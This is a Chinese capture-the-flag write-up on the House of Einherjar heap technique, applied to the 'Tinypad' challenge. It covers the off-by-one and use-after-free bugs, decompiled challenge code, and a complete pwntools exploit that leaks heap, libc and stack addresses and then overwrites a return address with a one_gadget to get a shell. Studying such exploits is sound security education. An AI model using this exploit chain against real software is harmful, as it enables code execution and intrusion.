House of Einherjar 原理

感觉像是把好几种漏洞结合起来:
off by one
unlink (需要能够完全溢出到下一个堆来控制
chunk entend or shrink; 但是细节却不相同。

该利用需要:

  1. chunk能够覆盖next_chunk的pre_size并修改pre_inuse位
  2. 泄露地址使得unlink 检查pre_size与size时能够绕过
  3. fake_chunk的fd 与 bk指针需要能够绕过检查

当我们能够覆盖nextchunk的pre_size位及pre_inuse位时,我们便可以伪造fake_chunk,之后在free next_chunk时,fake_chunk通过伪造便能绕过检查被置入bin中

Tinypad

题目

程序自己重写了许多write read函数
主要功能 add edit delete

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
  do
{
for ( i = 0; i <= 3; ++i )
{
LOBYTE(c) = i + '1';


if ( *(_QWORD *)&tinypad[16 * (i + 16LL) + 8] )
{
v3 = strlen(*(const char **)&tinypad[16 * (i + 16LL) + 8]);
writeln(*(char **)&tinypad[16 * (i + 16LL) + 8], v3);
}
writeln("\n", 1LL);
}

write_n(
"+- MENU -----------------------------------------------------------------------+\n"
"| [A] Add memo |\n"
"| [D] Delete memo |\n"
"| [E] Edit memo |\n"
"| [Q] Quit |\n"
"+------------------------------------------------------------------------------+\n",
486LL);



if ( cmd == 'D' ) // delete
{
write_n("(INDEX)>>> ", 11LL);
idx = read_int();
if ( idx > 0 && idx <= 4 )
{
if ( *(_QWORD *)&tinypad[16 * (idx - 1 + 16LL)] )// inuse
{
free(*(void **)&tinypad[16 * (idx - 1 + 16LL) + 8]);// ptr
*(_QWORD *)&tinypad[16 * (idx - 1 + 16LL)] = 0LL;
writeln("\nDeleted.", 9LL);
}
}


if ( cmd = 'E' )
write_n("(INDEX)>>> ", 11LL);
idx = read_int();
if ( idx > 0 && idx <= 4 )
{
if ( *(_QWORD *)&tinypad[16 * (idx - 1 + 16LL)] )
{
c = '0';
strcpy(tinypad, *(const char **)&tinypad[16 * (idx - 1 + 16LL) + 8]);
while ( toupper(c) != 'Y' )
{
write_n("CONTENT: ", 9LL);
v6 = strlen(tinypad);
writeln(tinypad, v6);
write_n("(CONTENT)>>> ", 13LL);
v7 = strlen(*(const char **)&tinypad[16 * (idx - 1 + 16LL) + 8]);
read_until(tinypad, v7, '\n');
writeln("Is it OK?", 9LL);
write_n("(Y/n)>>> ", 9LL);
read_until((char *)&c, 1uLL, '\n');
}
strcpy(*(char **)&tinypad[16 * (idx - 1 + 16LL) + 8], tinypad);
writeln("\nEdited.", 8LL);
}


{
if ( cmd != 'A' )
goto LABEL_43;
while ( idx <= 3 && *(_QWORD *)&tinypad[16 * (idx + 16LL)] )
++idx;
if ( idx == 4 )
{
writeln("No space is left.", 17LL);
}
else
{
size = -1;
write_n("(SIZE)>>> ", 10LL);
size = read_int();
if ( size <= 0 )
{
v5 = 1;
}
else
{
v5 = size;
if ( (unsigned __int64)size > 0x100 )
v5 = 256;
}
size = v5; // max size =256
*(_QWORD *)&tinypad[16 * (idx + 16LL)] = v5;
*(_QWORD *)&tinypad[16 * (idx + 16LL) + 8] = malloc(size);
if ( !*(_QWORD *)&tinypad[16 * (idx + 16LL) + 8] )// 检查inuse位
{
writerrln("[!] No memory is available.", 27LL);
exit(-1);
}
write_n("(CONTENT)>>> ", 13LL);
read_until(*(char **)&tinypad[16 * (idx + 16LL) + 8], size, 0xAu);
writeln("\nAdded.", 7LL);
}
}
}
while ( cnt != 81 );
return 0;
}

思路

因为读取输出函数都是重写的,比较麻烦,但是手动测试能够发现最低位的覆盖问题

再有在delete时仅将size清零并free chunk,没有将chunk 指针清零,UAF漏洞存在

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from pwn import *

p = process("./tinypad")
libc = ELF("./libc.so.6")
#context.log_level = 'debug'


def add(size, content):
p.recvuntil("(CMD)>>> ")
p.sendline("A")
p.recvuntil("(SIZE)>>> ")
p.sendline(str(size))
p.recvuntil("(CONTENT)>>> ")
p.sendline(content)

def delete(index):

p.recvuntil("(CMD)>>> ")
p.sendline("D")
p.recvuntil("(INDEX)>>> ")
p.sendline(str(index))

def edit(index, content, ok=True):
p.recvuntil("(CMD)>>> ")
p.sendline("E")
p.recvuntil("(INDEX)>>> ")
p.sendline(str(index))
p.recvuntil("(CONTENT)>>> ")
p.sendline(content)
p.recvuntil("(Y/n)>>> ")
if ok:
p.sendline("Y")
else:
p.sendline("n")

#stage one
add(0x80, "A"*0x80)
add(0x80, "B"*0x80)
add(0x80, "C"*0x80)
add(0x80, "D"*0x80)
delete(3)
delete(1)

p.recvuntil(" # INDEX: 1\n")
p.recvuntil(" # CONTENT: ")
heap = u64(p.recvline().rstrip().ljust(8, "\x00")) - 0x120
log.info("heap_base: %s" % hex(heap))
p.recvuntil(" # INDEX: 3\n")
p.recvuntil(" # CONTENT: ")
main_arena = u64(p.recv(6).ljust(8, "\x00")) - 0x58
log.info("main_arena: %s" % hex(main_arena))

delete(2)
delete(4)

#stage two
add(0x18, "A"*0x18)
add(0x100, "B"*0xf8 + p64(0x11))
add(0x100, "C"*0xf8)
add(0x100, "D"*0xf8)


tinypad = 0x602040
offset = heap + 0x20 - 0x602040 - 0x20
fake_chunk = p64(0) + p64(0x101) + p64(0x602060) * 2

edit(3, "D"*0x20 + fake_chunk)
zero_byte_number = 8 - len(p64(offset).strip("\x00"))
for i in range(zero_byte_number+1):
data = "A"*0x10 + p64(offset).strip("\x00").rjust(8-i, 'f')
edit(1, data)


delete(2)
edit(4, "D"*0x20 + p64(0) + p64(0x101) + p64(main_arena + 0x58)*2)

#gdb.attach(p)

#stage three
libc_base = main_arena + 0x58 - 0x3c4b78
log.info("libc_base: %s" % hex(libc_base))
one_gadget = libc_base + 0x45216
environ_pointer = libc_base + libc.symbols['__environ']

add(0xf0, "A"*0xd0 + p64(0x18) + p64(environ_pointer) + 'a'*8 + p64(0x602148))

p.recvuntil(" # INDEX: 1\n")
p.recvuntil(" # CONTENT: ")
main_ret = u64(p.recvline().rstrip().ljust(8, "\x00")) - 0x8*30
log.info("main_ret_addr: %s" % hex(main_ret))
log.info("one_gadget_addr :%s "% hex(one_gadget))
edit(2, p64(main_ret))
edit(1, p64(one_gadget))
#gdb.attach(p)
p.recv()

p.sendline('Q')
p.interactive()